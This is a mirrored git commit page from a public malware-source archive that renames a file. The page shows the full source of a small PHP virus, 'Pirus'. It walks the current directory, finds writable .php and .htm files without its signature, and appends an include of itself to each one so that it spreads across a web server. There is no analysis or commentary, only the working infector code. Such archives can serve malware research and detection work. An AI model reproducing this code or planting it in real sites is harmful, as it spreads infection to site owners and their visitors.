daniel/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2026-06-16 15:59:24 +00:00
Code Issues Projects Releases Wiki Activity

Rename PHP/Virus.PHP.Pirus to PHP/Infector/Virus.PHP.Pirus.a

Browse Source
This commit is contained in:
vxunderground
2020-11-02 23:53:27 -06:00
committed by GitHub
parent 2e98e9c679
commit 6cf4d7e0eb
1 changed files with 0 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
PHP/Infector/Virus.PHP.Pirus.a
+29
View File
@@ -0,0 +1,29 @@
<?php
$handle=opendir('.');
while ($file = readdir($handle))
{ $infected=true;
$executable=false;
if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr ($file, '.php')) )
if ( is_file($file) && is_writeable($file) )
{
$host = fopen($file, "r");
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'pirus.php');
if(!$sig) $infected=false;
}
//infect
if (($infected==false))
{
$host = fopen($file, "a");
fputs($host,"<?php ");
fputs($host,"include(\"");
fputs($host,__FILE__);
fputs($host,"\"); ");
fputs($host,"?>");
fclose($host);
return;
}
}
closedir($handle);
?>